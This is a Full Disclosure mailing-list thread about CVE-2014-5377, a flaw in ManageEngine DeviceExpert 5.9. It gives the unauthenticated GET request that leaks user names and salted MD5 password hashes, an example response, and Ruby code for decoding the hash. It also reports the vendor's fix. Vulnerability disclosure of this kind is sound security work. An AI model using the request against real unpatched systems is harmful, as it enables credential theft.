Re: [The ManageOwnage Series, part II]: User credential disclosure in ManageEngine DeviceExpert

[Pedro Ribeiro <pedrib () gmail com>]

Hi Keith,

Thanks for pointing this out.
I realised the advisory is not very clear - you are right, it is a base 64
encoded md5 hash. To get the actual hash you have to use the following Ruby
code:
Base64.decode64(password).unpack('H*')

The hash is a md5 of
"admin12345678"

Also ManageEngine have decided to fix the issue, and have now released
version 5.9 build 5981 that resolves this vulnerability.

I've updated the advisory at
https://raw.githubusercontent.com/pedrib/PoC/master/me_deviceexpert-5.txt

Regards
Pedro
On 28 Aug 2014 18:43, "Keith I Myers" <keithiokepamyers () gmail com> wrote:

Are you sure that this is an MD5 Hash? It looks more like a base64 encoded
string (decoded value " :N yZX@{ ")


On Wed, Aug 27, 2014 at 5:50 PM, Pedro Ribeiro <pedrib () gmail com> wrote:

> On 27 Aug 2014 19:14, "Pedro Ribeiro" <pedrib () gmail com> wrote:
> > Hi,
> >
> > You can read the usernames and MD5 hashed passwords of all the users
> > in the Device Expert application by sending an unauthenticated
> > request.
> > I am releasing this as a 0 day as ManageEngine have responded that
> > they do not consider this a priority and won't fix it in the near
> > future unless a customer requests it. See details below.
> >
> > > > User credential disclosure in ManageEngine DeviceExpert 5.9
> > > > Discovered by Pedro Ribeiro (pedrib () gmail com), Agile Information
> Security
> >
> ==========================================================================
> > > > Background on the affected product:
> > "DeviceExpert is a web–based, multi vendor network change,
> > configuration and compliance management (NCCCM) solution for switches,
> > routers, firewalls and other network devices. Trusted by thousands of
> > network administrators around the world, DeviceExpert helps automate
> > and take total control of the entire life cycle of device
> > configuration management."
> >
> >
> > > > Technical details:
> > Vulnerability: User credential disclosure / CVE-2014-5377
> > Constraints: no authentication or any other information needed.
> > Affected versions: UNFIXED as of 27/08/2014 - current version 5.9
> > build 5980 is vulnerable, older versions likely vulnerable
> >
> > GET /ReadUsersFromMasterServlet
> >
> > Example response:
> > <?xml version="1.0"
>
> encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>
> noreply () zohocorp com
> </emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>
> > The passwords are a salted MD5 hash.
> >
> > A copy of this advisory is available at my repo:
> https://raw.githubusercontent.com/pedrib/PoC/master/me_deviceexpert-5.txt
> > Regards,
> > Pedro
>
> To clarify, older versions are definitely vulnerable, I just don't know on
> which versions the vulnerability initially appeared.
>
> _______________________________________________
> Sent through the Full Disclosure mailing list
> http://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/



-- 

Keith Myers
Mobile : (305) 929-3475
EMail : KeithIokepaMyers () GMail com

+Keith I Myers <http://plus.kmyers.me>

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/